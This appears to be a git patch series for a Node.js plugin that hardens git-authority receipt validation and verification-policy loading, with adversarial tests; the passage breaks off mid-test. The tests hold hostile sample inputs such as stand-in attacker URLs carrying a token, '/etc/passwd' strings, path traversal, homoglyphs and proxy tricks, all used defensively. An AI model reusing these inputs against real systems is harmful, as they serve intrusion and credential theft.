assert.equal(emptyGit.git_evidence.source_byte_length, 0); + assert.equal(emptyGit.git_evidence.raw_ref, null); + assert.equal(emptyGit.git_evidence.sanitized_ref, null); + assert.equal(emptyGit.git_evidence.relative_path, null); + assert.equal(emptyGit.git_evidence.inline_tail, null); + assert.equal(emptyGit.published, false); + + const withProvider = await materializeCursorCloudResultSourceV1(store, { + ...identityFor({ assignment_id: 'cloud-empty-git' }), + provider_report: { status: 'finished', output: 'done' }, + git_evidence: {}, + }); + assert.equal(withProvider.provider_report.published, true); + assert.equal(withProvider.git_evidence.published, false); + assert.equal(withProvider.git_evidence.empty, true); + assert.equal(withProvider.git_evidence.source_byte_length, 0); + assert.equal(withProvider.git_evidence.raw_ref, null); + }); +}); + test('crossing the raw class cap fails closed and does not pretend the upstream truncated', async () => { await withStore(async (store) => { const error = await errorOfAsync( @@ -328,5 +357,3 @@ test('crossing the raw class cap fails closed and does not pretend the upstream }).provider_report.source_truncated), 'false'); }); }); - - From 8c620cbe4b53f25ee4be036b6bcbaa9921d863c4 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 08:09:38 +0000 Subject: [PATCH 069/151] fix(authority): require trusted receipts for evidence projection Accept only module-minted GitAuthorityPolicyV1 receipts with exact schema, identity, and provenance. Reject forged, cloned, and provider-shaped objects before any P13 fact is created. Validate bounded run, assignment, and base identifiers, fail closed on hostile contexts, and keep unknown-key failures content-free. --- .../mcp/v3/git-authority.mjs | 215 ++++++++++----- .../r1-git-authority-adversarial.test.mjs | 257 ++++++++++++++++++ 2 files changed, 397 insertions(+), 75 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs index c4987ae..4826ed8 100644 --- a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs +++ b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs @@ -24,7 +24,6 @@ import { capturedFreeze, capturedIncludes, capturedTest, isKnownProvider } from import { canonicalJsonStringify } from './identity.mjs'; import { RunContractV1Error, - assertAllowedKeys, assertBaseSha, assertRepositoryPath, assertRunId, @@ -121,6 +120,7 @@ export const RECEIPT_KEYS = capturedFreeze([ 'message', 'operation', 'path', 'ref_class', 'run_id', 'schema', 'verdict', 'version', ]); +export const RECEIPT_REQUIRED_KEYS = RECEIPT_KEYS; export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ 'accessor_property_denied', 'aliased_reference_denied', @@ -145,6 +145,10 @@ const SET_CTOR = Set; const HASH = createHash; const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const WEAKSET_CTOR = WeakSet; +const TRUSTED_POLICY_RECEIPTS = new WEAKSET_CTOR(); +const WEAKSET_ADD = WEAKSET_CTOR.prototype.add; +const WEAKSET_HAS = WEAKSET_CTOR.prototype.has; const DENIED_OPERATION_CODES = capturedFreeze({ create_pr: 'merge_authority_denied', @@ -211,34 +215,56 @@ function deny(code, path) { fail(code, path, MSG[code] ?? MSG.invalid_format); } +function publicCode(error) { + if (error instanceof RunContractV1Error && capturedIncludes(GIT_AUTHORITY_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, path) { + deny(publicCode(error), path); +} + function assertClosedObject(input, allowed, path) { if (input === undefined || input === null) deny('invalid_type', path); - assertDirectJsonClosure(input, path); - assertPlainObject(input, 'invalid_type', path, path); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, path); } catch (error) { remap(error, path); } + } + if (typeof input !== 'object') deny('invalid_type', path); + try { + assertPlainObject(input, 'invalid_type', path, path); + } catch (error) { remap(error, path); } let keys; try { keys = OWN_KEYS(input); } catch { deny('invalid_type', path); } if (keys.length > MAX_AUTHORITY_OBJECT_KEYS) deny('out_of_range', path); + const allowedSet = new SET_CTOR(allowed); for (let i = 0; i < keys.length; i += 1) { const key = keys[i]; if (typeof key === 'symbol') deny('symbol_key_denied', path); if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUTHORITY_KEY_BYTES) deny('out_of_range', path); + if (!allowedSet.has(key)) deny('unknown_key', path); } - assertAllowedKeys(input, allowed, path); + try { + assertDirectJsonClosure(input, path); + } catch (error) { remap(error, path); } return input; } function requireKeys(input, keys, path) { for (let i = 0; i < keys.length; i += 1) { - if (!hasOwn(input, keys[i])) deny('missing_key', `${path}.${keys[i]}`); + if (!hasOwn(input, keys[i])) deny('missing_key', path); } } function assertExact(value, expected, path) { if (IS_ARRAY(expected)) { - assertNotProxy(value, path); + try { assertNotProxy(value, path); } catch (error) { remap(error, path); } if (!IS_ARRAY(value) || value.length !== expected.length) deny('invalid_format', path); for (let i = 0; i < expected.length; i += 1) { - if (ownDataValue(value, STRING(i), `${path}[${i}]`) !== expected[i]) deny('invalid_format', path); + let item; + try { item = ownDataValue(value, STRING(i), path); } catch (error) { remap(error, path); } + if (item !== expected[i]) deny('invalid_format', path); } return; } @@ -277,10 +303,7 @@ function assertAsciiSegment(value, path) { } function bindOrThrow(label, path, fn) { - try { return fn(); } catch (error) { - if (error instanceof RunContractV1Error) deny(label, path); - throw error; - } + try { return fn(); } catch { deny(label, path); } } function optionalSegment(input, key, path) { @@ -533,7 +556,7 @@ function classifyRefFromOperation(object, identity) { } function receipt(values) { - return freezeRecord(RECEIPT_KEYS, { + const minted = freezeRecord(RECEIPT_KEYS, { schema: GIT_AUTHORITY_SCHEMA_ID, version: GIT_AUTHORITY_VERSION, message: MSG[values.code] ?? MSG.invalid_format, @@ -541,6 +564,64 @@ function receipt(values) { default_branch_target: false, ...values, }); + WEAKSET_ADD.call(TRUSTED_POLICY_RECEIPTS, minted); + return minted; +} + +function assertReceiptIdentity(object, path) { + const runId = optOwn(object, 'run_id'); + bindOrThrow('authority_identity_invalid', path, () => assertRunId(runId, path)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('authority_identity_invalid', path); + const baseSha = optOwn(object, 'base_sha'); + bindOrThrow('authority_identity_invalid', path, () => assertBaseSha(baseSha, path)); + return { runId, assignmentId, baseSha }; +} + +function assertTrustedPolicyReceipt(verdict, path) { + const object = assertClosedObject(verdict, RECEIPT_KEYS, path); + requireKeys(object, RECEIPT_REQUIRED_KEYS, path); + if (optOwn(object, 'schema') !== GIT_AUTHORITY_SCHEMA_ID) deny('invalid_format', path); + if (optOwn(object, 'version') !== GIT_AUTHORITY_VERSION) deny('invalid_format', path); + const actor = optOwn(object, 'actor'); + if (!capturedIncludes(ACTOR_VALUES, actor)) deny('invalid_format', path); + const operation = optOwn(object, 'operation'); + if (!capturedIncludes(GIT_OPERATIONS, operation)) deny('invalid_format', path); + const verdictValue = optOwn(object, 'verdict'); + if (!capturedIncludes(AUTHORITY_VERDICTS, verdictValue)) deny('invalid_format', path); + const code = optOwn(object, 'code'); + if (typeof code !== 'string' || !hasOwn(MSG, code)) deny('invalid_format', path); + if (optOwn(object, 'message') !== MSG[code]) deny('invalid_format', path); + const refClass = optOwn(object, 'ref_class'); + if (refClass !== null && !capturedIncludes(REF_CLASS_VALUES, refClass)) deny('invalid_format', path); + const defaultTarget = optOwn(object, 'default_branch_target'); + if (typeof defaultTarget !== 'boolean') deny('invalid_type', path); + const receiptPath = optOwn(object, 'path'); + if (typeof receiptPath !== 'string' || BYTE_LENGTH(receiptPath, 'utf8') > MAX_AUTHORITY_KEY_BYTES) { + deny('invalid_format', path); + } + const identity = assertReceiptIdentity(object, path); + let trusted = false; + try { trusted = WEAKSET_HAS.call(TRUSTED_POLICY_RECEIPTS, object); } catch { deny('invalid_type', path); } + if (trusted !== true) deny('invalid_type', path); + return { + actor, operation, verdict: verdictValue, code, ref_class: refClass, ...identity, + }; +} + +function assertEvidenceContext(context, path) { + const object = assertClosedObject(context, EVIDENCE_CONTEXT_ALLOWED_KEYS, path); + const factId = hasOwn(object, 'fact_id') ? optOwn(object, 'fact_id') : 'f-authority'; + const discrepancyId = hasOwn(object, 'discrepancy_id') ? optOwn(object, 'discrepancy_id') : 'd-authority'; + const sequence = hasOwn(object, 'sequence') ? optOwn(object, 'sequence') : 0; + if (typeof factId !== 'string' || !capturedTest(RECORD_ID_PATTERN, factId)) deny('invalid_format', path); + if (typeof discrepancyId !== 'string' || !capturedTest(RECORD_ID_PATTERN, discrepancyId)) { + deny('invalid_format', path); + } + if (typeof sequence !== 'number' || !IS_INT(sequence) || sequence < 0 || sequence > 65535) { + deny('out_of_range', path); + } + return { factId, discrepancyId, sequence }; } export function classifyGitOperationV1(input) { @@ -629,70 +710,54 @@ function evidenceMethod(code) { export function projectAuthorityEvidenceV1(verdict, context = {}) { const path = 'evidence'; - if (verdict === undefined || verdict === null) deny('invalid_type', path); - assertDirectJsonClosure(verdict, path); - assertPlainObject(verdict, 'invalid_type', path, path); - assertAllowedKeys(verdict, RECEIPT_KEYS, path); - const ctx = context === undefined ? {} : context; - if (ctx !== undefined && ctx !== null && typeof ctx === 'object') { - assertClosedObject(ctx, EVIDENCE_CONTEXT_ALLOWED_KEYS, `${path}.context`); - } - const factId = hasOwn(ctx, 'fact_id') ? optOwn(ctx, 'fact_id') : 'f-authority'; - const discrepancyId = hasOwn(ctx, 'discrepancy_id') ? optOwn(ctx, 'discrepancy_id') : 'd-authority'; - const sequence = hasOwn(ctx, 'sequence') ? optOwn(ctx, 'sequence') : 0; - if (typeof factId !== 'string' || !capturedTest(RECORD_ID_PATTERN, factId)) deny('invalid_format', `${path}.fact_id`); - if (typeof discrepancyId !== 'string' || !capturedTest(RECORD_ID_PATTERN, discrepancyId)) { - deny('invalid_format', `${path}.discrepancy_id`); - } - if (typeof sequence !== 'number' || !IS_INT(sequence) || sequence < 0 || sequence > 65535) { - deny('out_of_range', `${path}.sequence`); + try { + const receipt = assertTrustedPolicyReceipt(verdict, path); + const { factId, discrepancyId, sequence } = assertEvidenceContext(context, `${path}.context`); + const denied = receipt.verdict === 'denied'; + const payload = { base_sha: receipt.baseSha, head_sha: receipt.baseSha }; + const fact = freezeData({ + fact_id: factId, + fact_kind: 'git_identity', + status: denied ? 'failed' : 'verified', + code: 'host_observed', + run_id: receipt.runId, + assignment_id: receipt.assignmentId, + sequence, + subject: 'git-authority', + authority: 'platform_git', + method: evidenceMethod(receipt.code), + input_digest: digestOf({ + actor: receipt.actor, operation: receipt.operation, ref_class: receipt.ref_class, + }), + output_digest: digestOf({ verdict: receipt.verdict, code: receipt.code }), + exit_code: denied ? 1 : 0, + duration_ms: 0, + truncated: false, + payload, + artifact_digests: [], + }); + const discrepancy = denied ? freezeData({ + discrepancy_id: discrepancyId, + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: receipt.runId, + assignment_id: receipt.assignmentId, + sequence, + claim_ids: [], + fact_ids: [factId], + artifact_digests: [], + }) : null; + return freezeData({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + facts: [fact], + discrepancies: discrepancy === null ? [] : [discrepancy], + }); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + deny('invalid_type', path); } - const denied = optOwn(verdict, 'verdict') === 'denied'; - const code = optOwn(verdict, 'code'); - const runId = optOwn(verdict, 'run_id'); - const assignmentId = optOwn(verdict, 'assignment_id'); - const baseSha = optOwn(verdict, 'base_sha'); - const payload = { base_sha: baseSha, head_sha: baseSha }; - const fact = freezeData({ - fact_id: factId, - fact_kind: 'git_identity', - status: denied ? 'failed' : 'verified', - code: 'host_observed', - run_id: runId, - assignment_id: assignmentId, - sequence, - subject: 'git-authority', - authority: 'platform_git', - method: evidenceMethod(typeof code === 'string' ? code : 'authority_ok'), - input_digest: digestOf({ - actor: optOwn(verdict, 'actor'), operation: optOwn(verdict, 'operation'), - ref_class: optOwn(verdict, 'ref_class'), - }), - output_digest: digestOf({ verdict: optOwn(verdict, 'verdict'), code }), - exit_code: denied ? 1 : 0, - duration_ms: 0, - truncated: false, - payload, - artifact_digests: [], - }); - const discrepancy = denied ? freezeData({ - discrepancy_id: discrepancyId, - discrepancy_kind: 'security', - status: 'recorded', - code: 'security_boundary', - run_id: runId, - assignment_id: assignmentId, - sequence, - claim_ids: [], - fact_ids: [factId], - artifact_digests: [], - }) : null; - return freezeData({ - schema: GIT_AUTHORITY_SCHEMA_ID, - version: GIT_AUTHORITY_VERSION, - facts: [fact], - discrepancies: discrepancy === null ? [] : [discrepancy], - }); } capturedFreeze(parseGitAuthorityPolicyV1); diff --git a/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs index b5d6e66..c60661b 100644 --- a/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs @@ -3,6 +3,8 @@ import test from 'node:test'; import { types as utilTypes } from 'node:util'; import { + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, MAX_HISTORY_COMMITS, MAX_REF_BYTES, bindAuthorityIdentityV1, @@ -16,6 +18,7 @@ import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; import { ASSIGNMENT_ID, + BASE_SHA, CONTENT_FREE, MANIFEST_DIGEST_HEX, RUN_ID, @@ -97,6 +100,260 @@ test('proxy accessor symbol and unknown-key inputs fail closed without running c assert.equal(errorOf(() => classifyGitOperationV1(unknown)).code, 'unknown_key'); }); +function assertPublicFailure(error, extras = []) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(utilTypes.isProxy(error), false); + assertContentFree(error, extras); + assertContentFree(error.path, extras); + assertContentFree(error.message, extras); + assert.equal(String(error.path).includes('TypeError'), false); + assert.equal(String(error.message).includes('TypeError'), false); +} + +function assertRejectedEvidence(action, extras = []) { + const error = errorOf(action); + assertPublicFailure(error, extras); + return error; +} + +function trustedReceipt(overrides = {}) { + return classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [1] }, + ...overrides, + })); +} + +function receiptLookalike(overrides = {}) { + return { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'worker', + operation: 'commit_on_lane_branch', + verdict: 'allowed', + code: 'authority_ok', + message: 'GitAuthorityPolicyV1 permits the requested git operation.', + path: 'operation', + ref_class: 'worker_lane', + default_branch_target: false, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + ...overrides, + }; +} + +test('forged missing wrong-schema wrong-identity and untrusted receipts cannot mint Git facts', () => { + const minted = trustedReceipt(); + const cases = [ + [{}, ['forged empty']], + [receiptLookalike(), ['caller constructed']], + [Object.freeze(receiptLookalike()), ['frozen constructed']], + [JSON.parse(JSON.stringify(minted)), ['json clone']], + [{ ...minted }, ['spread clone']], + [Object.freeze({ ...minted }), ['frozen clone']], + [receiptLookalike({ schema: 'codex-co-engineer.provider-result.v1' }), ['wrong schema']], + [receiptLookalike({ schema: GIT_AUTHORITY_SCHEMA_ID, version: 2 }), ['wrong version']], + ]; + for (const [forged] of cases) { + const error = assertRejectedEvidence(() => projectAuthorityEvidenceV1(forged)); + assert.notEqual(error.code, 'authority_ok'); + } + + const missing = receiptLookalike(); + delete missing.schema; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(missing)).code, 'missing_key'); + + const wrongIdentity = [ + { run_id: 'https://evil.example/steal?token=secret' }, + { assignment_id: '../main' }, + { base_sha: 'not-a-sha' }, + { run_id: `run-${'a'.repeat(1_000_000)}` }, + { assignment_id: `lane-${'\u0000'.repeat(32)}` }, + { base_sha: `${'a'.repeat(1_000_000)}` }, + { run_id: 'run-\u0430lpha-01' }, + { assignment_id: 'lane/alpha' }, + { base_sha: 'A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0' }, + ]; + for (const override of wrongIdentity) { + const extras = Object.values(override).filter((value) => typeof value === 'string' && value.length < 200); + const error = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(receiptLookalike(override)), + extras, + ); + assert.equal(error.code, 'authority_identity_invalid'); + } +}); + +test('provider report lookalikes and frozen caller receipts never become platform_git authority', () => { + const minted = trustedReceipt(); + const providerLookalikes = [ + { + schema: 'codex-co-engineer.provider-result.v1', + provider: 'grok', + model: 'grok-4', + status: 'succeeded', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + verdict: 'allowed', + code: 'authority_ok', + message: minted.message, + actor: 'worker', + operation: 'commit_on_lane_branch', + path: 'operation', + ref_class: 'worker_lane', + default_branch_target: false, + version: GIT_AUTHORITY_VERSION, + }, + { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + provider: 'cursor-cloud', + create_pr: true, + verdict: 'allowed', + code: 'authority_ok', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + }, + ]; + for (const lookalike of providerLookalikes) { + const extras = ['grok-4', 'cursor-cloud', 'create_pr', 'provider-result']; + const error = assertRejectedEvidence(() => projectAuthorityEvidenceV1(lookalike), extras); + assert.ok(error.code === 'unknown_key' || error.code === 'missing_key' || error.code === 'invalid_type' + || error.code === 'invalid_format', error.code); + } + const frozenCaller = Object.freeze({ ...minted }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(frozenCaller)).code, 'invalid_type'); +}); + +test('hostile oversized control Unicode path URL and credential identity values never emit', () => { + const hostile = [ + { run_id: 'https://attacker.example/hook' }, + { run_id: '/tmp/cce-r1-authority-repo' }, + { run_id: 'git@github.com:evil/repo.git' }, + { assignment_id: 'Bearer abc' }, + { assignment_id: 'secret-token' }, + { base_sha: 'https://example.invalid/repo.git' }, + { run_id: `run-${'\u0007'.repeat(8)}` }, + { assignment_id: 'lane-\u200Balpha' }, + { run_id: 'run-\uFF41lpha-01' }, + ]; + for (const override of hostile) { + const extras = [...Object.values(override), '/tmp', 'https://', 'secret-token', 'Bearer']; + const error = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(receiptLookalike(override)), + extras.filter((value) => typeof value === 'string' && value.length > 0 && value.length < 200), + ); + assert.ok( + error.code === 'authority_identity_invalid' || error.code === 'invalid_type', + error.code, + ); + } +}); + +test('evidence context rejects null primitives functions accessors proxies extras and exotic shapes', () => { + const minted = trustedReceipt(); + const live = countingProxy({ fact_id: 'f-ok' }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const revoked = Proxy.revocable({ fact_id: 'f-ok' }, { + get() { throw new Error('revoked getter ran'); }, + ownKeys() { throw new Error('revoked ownKeys ran'); }, + }); + revoked.revoke(); + const revokedError = assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, revoked.proxy)); + assert.equal(revokedError.code, 'proxy_denied'); + + const accessor = {}; + Object.defineProperty(accessor, 'fact_id', { + get() { throw new Error('accessor ran'); }, enumerable: true, + }); + const accessorError = assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, accessor)); + assert.ok(['accessor_property_denied', 'invalid_type'].includes(accessorError.code), accessorError.code); + + const hidden = { fact_id: 'f-ok' }; + Object.defineProperty(hidden, 'secret', { value: 'https://evil.example', enumerable: false }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, hidden), ['secret', 'https://evil.example']).code, 'unknown_key'); + + const symbolKeyed = { fact_id: 'f-ok' }; + symbolKeyed[Symbol('push')] = true; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, symbolKeyed)).code, 'symbol_key_denied'); + + const exotic = Object.assign(Object.create({ stolen: 'https://evil.example' }), { fact_id: 'f-ok' }); + const exoticError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, exotic), + ['stolen', 'https://evil.example'], + ); + assert.ok(['exotic_prototype_denied', 'invalid_type'].includes(exoticError.code), exoticError.code); + + const primitives = [null, 0, 1, false, true, '', 'https://evil.example', 1n, Symbol('ctx')]; + for (const context of primitives) { + const extras = typeof context === 'string' && context.length > 0 ? [context] : []; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, context), extras).code, 'invalid_type'); + } + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, () => 'https://evil.example')).code, 'invalid_type'); + const extraKey = { fact_id: 'f-ok', 'https://evil.example/x': true }; + const extraError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, extraKey), + ['https://evil.example/x'], + ); + assert.equal(extraError.code, 'unknown_key'); +}); + +test('unknown-key public failures redact attacker keys values paths URLs and credentials', () => { + const attackerKey = 'https://evil.example/steal?token=secret-token#/tmp/repo'; + const unknown = operationRequest({ ref: laneRef, [attackerKey]: true }); + const error = errorOf(() => classifyGitOperationV1(unknown)); + assert.equal(error.code, 'unknown_key'); + assertPublicFailure(error, [attackerKey, 'secret-token', 'https://', '/tmp/repo', 'evil.example']); + assert.equal(error.path.includes(attackerKey), false); + assert.equal(error.message.includes(attackerKey), false); + + const minted = trustedReceipt(); + const evidenceError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, { [attackerKey]: 1 }), + [attackerKey, 'secret-token'], + ); + assert.equal(evidenceError.code, 'unknown_key'); + assert.equal(evidenceError.path.includes(attackerKey), false); +}); + +test('trusted policy receipts keep immutable deny-lane decisions and content-free P13 facts', () => { + const allowed = trustedReceipt(); + const allowedEvidence = projectAuthorityEvidenceV1(allowed, { + fact_id: 'f-lane', discrepancy_id: 'd-lane', sequence: 4, + }); + assert.equal(allowedEvidence.facts[0].status, 'verified'); + assert.equal(allowedEvidence.facts[0].authority, 'platform_git'); + assert.equal(allowedEvidence.facts[0].run_id, RUN_ID); + assert.equal(allowedEvidence.facts[0].assignment_id, ASSIGNMENT_ID); + assert.equal(allowedEvidence.facts[0].payload.base_sha, BASE_SHA); + assert.equal(allowedEvidence.discrepancies.length, 0); + assertContentFree(allowedEvidence); + + const denied = classifyGitOperationV1(operationRequest({ operation: 'push' })); + assert.equal(denied.verdict, 'denied'); + assert.equal(denied.code, 'push_authority_denied'); + const deniedEvidence = projectAuthorityEvidenceV1(denied); + assert.equal(deniedEvidence.facts[0].status, 'failed'); + assert.equal(deniedEvidence.discrepancies[0].code, 'security_boundary'); + assertContentFree(deniedEvidence); + + const protectedTarget = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref: 'refs/heads/main', + default_branch: 'main', + })); + assert.equal(protectedTarget.code, 'default_branch_target_denied'); + const protectedEvidence = projectAuthorityEvidenceV1(protectedTarget); + assert.equal(protectedEvidence.facts[0].method, 'protected_ref_snapshot_compare'); + assertContentFree(protectedEvidence); +}); + test('credential URL and remote-mutation material cannot bind as identity', () => { const cases = [ { token: 'secret-token' }, From a62491437d381ca770bd0eb95ab85fe9d41e8103 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 08:18:36 +0000 Subject: [PATCH 070/151] fix(verify): close missing-catalog deny, exotic options, and env accessors Treat a missing owner policy under an ordinary 0755 directory as the immutable empty default-deny catalog while still failing closed on an existing unsafe policy file. Require standard or null-prototype direct-data loader options, reject exotic, proxy, revoked, function, and primitive option objects with typed content-free errors, and deny own env accessors without invoking them or falling back to process env. --- .../mcp/v3/trusted-verification-policy.mjs | 69 +++++++++++---- ...d-verification-policy-adversarial.test.mjs | 86 +++++++++++++++++++ .../r1-trusted-verification-policy.test.mjs | 59 +++++++++++++ 3 files changed, 199 insertions(+), 15 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs index 3a31f48..7f235c1 100644 --- a/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs +++ b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs @@ -78,6 +78,7 @@ import { fail, hasOwn, optOwn, + ownDataValue, } from './selection-json.mjs'; export const VERIFICATION_POLICY_SCHEMA_ID = 'codex-co-engineer.verification-policy.v1'; @@ -289,6 +290,7 @@ const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); const ARRAY_PUSH = Array.prototype.push; const ARRAY_SORT = Function.prototype.call.bind(Array.prototype.sort); const ARRAY_PROTOTYPE = Array.prototype; +const OBJECT_PROTOTYPE = Object.prototype; const SET_CTOR = Set; const SET_ADD = SET_CTOR.prototype.add; const SET_HAS = SET_CTOR.prototype.has; @@ -949,8 +951,33 @@ function requireNormalizedAbsolute(value, path) { return value; } -function readEnvironment(env, path) { - const source = env === undefined ? process.env : env; +function assertStandardDataObject(value, path) { + assertNotProxy(value, path); + if (value === null || typeof value !== 'object' || capturedIsArray(value)) { + deny('policy_options_denied', path); + } + let prototype; + try { + prototype = capturedGetPrototypeOf(value); + } catch { + deny('exotic_prototype_denied', path); + } + if (prototype !== OBJECT_PROTOTYPE && prototype !== null) { + deny('exotic_prototype_denied', path); + } +} + +function assertClosedOwnKeys(value, allowed, path) { + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!capturedIncludes(allowed, key)) deny('unknown_key', path); + } +} + +function readProcessEnvironment(path) { + const source = process.env; assertNotProxy(source, path); if (typeof source !== 'object' || source === null || capturedIsArray(source)) { deny('policy_options_denied', path); @@ -971,6 +998,20 @@ function readEnvironment(env, path) { return { xdgConfigHome: read('XDG_CONFIG_HOME'), home: read('HOME') }; } +function readEnvironment(env, path) { + if (env === undefined) return readProcessEnvironment(path); + assertStandardDataObject(env, path); + assertClosedOwnKeys(env, LOADER_ENV_KEYS, path); + const read = (key) => { + if (!hasOwn(env, key)) return undefined; + const value = ownDataValue(env, key, `${path}.${key}`); + assertNotProxy(value, `${path}.${key}`); + if (typeof value !== 'string') deny('policy_options_denied', `${path}.${key}`); + return value; + }; + return { xdgConfigHome: read('XDG_CONFIG_HOME'), home: read('HOME') }; +} + function defaultOwnerConfigDir(environment) { if (typeof environment.xdgConfigHome === 'string' && environment.xdgConfigHome.length > 0 && PATH_IS_ABSOLUTE(environment.xdgConfigHome) @@ -986,20 +1027,15 @@ function defaultOwnerConfigDir(environment) { } export function verificationPolicyRoots(options = {}) { - assertNotProxy(options, 'options'); - if (typeof options !== 'object' || options === null || capturedIsArray(options)) { - deny('policy_options_denied', 'options'); - } - const optionKeys = ownKeysOrDeny(options, 'options'); - for (let index = 0; index < optionKeys.length; index += 1) { - const key = optionKeys[index]; - if (typeof key === 'symbol') deny('symbol_key_denied', 'options'); - if (!capturedIncludes(LOADER_OPTION_KEYS, key)) deny('unknown_key', 'options'); - } + assertStandardDataObject(options, 'options'); + assertClosedOwnKeys(options, LOADER_OPTION_KEYS, 'options'); const ownerConfigDir = hasOwn(options, 'ownerConfigDir') - ? requireNormalizedAbsolute(optOwn(options, 'ownerConfigDir'), 'options.ownerConfigDir') + ? requireNormalizedAbsolute( + ownDataValue(options, 'ownerConfigDir', 'options.ownerConfigDir'), + 'options.ownerConfigDir', + ) : defaultOwnerConfigDir(readEnvironment( - hasOwn(options, 'env') ? optOwn(options, 'env') : undefined, + hasOwn(options, 'env') ? ownDataValue(options, 'env', 'options.env') : undefined, 'options.env', )); const dir = PATH_JOIN(ownerConfigDir, OWNER_POLICY_DIRNAME); @@ -1134,7 +1170,6 @@ export async function loadOwnerVerificationPolicyV1(options = {}) { }); if (dirEntry !== undefined) { if (dirEntry.isSymbolicLink() || !dirEntry.isDirectory()) deny('policy_catalog_not_regular', 'policy'); - requireOwnerControl(dirEntry, 'policy'); } const catalog = await readOwnerPolicyFile(roots.file); if (dirEntry !== undefined) { @@ -1143,6 +1178,10 @@ export async function loadOwnerVerificationPolicyV1(options = {}) { }); if (!sameEntry(dirEntry, afterDir)) deny('policy_catalog_changed_during_read', 'policy'); } + if (catalog.present) { + if (dirEntry === undefined) deny('policy_catalog_changed_during_read', 'policy'); + requireOwnerControl(dirEntry, 'policy'); + } const policy = catalog.present ? parsePolicyText(catalog.text) : emptyPolicy(); const digest = digestOf(VERIFICATION_POLICY_DIGEST_LABEL, policy); return capturedFreeze({ diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs index e9a5b6e..55ab367 100644 --- a/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs @@ -11,6 +11,7 @@ import { parseVerificationPolicyV1, rejectUntrustedExecutableContentV1, verificationPolicyDigestV1, + verificationPolicyRoots, } from '../mcp/v3/trusted-verification-policy.mjs'; import { countingProxy, @@ -252,6 +253,91 @@ test('content-free errors never echo attacker keys, paths, URLs, or native stack assert.equal(error.message.includes('at parse'), false); }); +test('loader options reject null, primitive, function, exotic, proxy, and revoked objects', () => { + const secret = 'sk-options-secret-/etc/passwd'; + for (const value of [null, 1, 0, true, false, secret]) { + const error = errorOf(() => verificationPolicyRoots(value)); + assert.equal(error.code, 'policy_options_denied', String(value)); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/etc/passwd'), false); + } + + const fnError = errorOf(() => verificationPolicyRoots(function loaderOptions() { + throw new Error(secret); + })); + assert.equal(fnError.code, 'policy_options_denied'); + assert.equal(fnError.message.includes(secret), false); + + const date = new Date('2026-08-23T00:00:00.000Z'); + date.ownerConfigDir = '/tmp/attacker-date-config'; + const dateError = 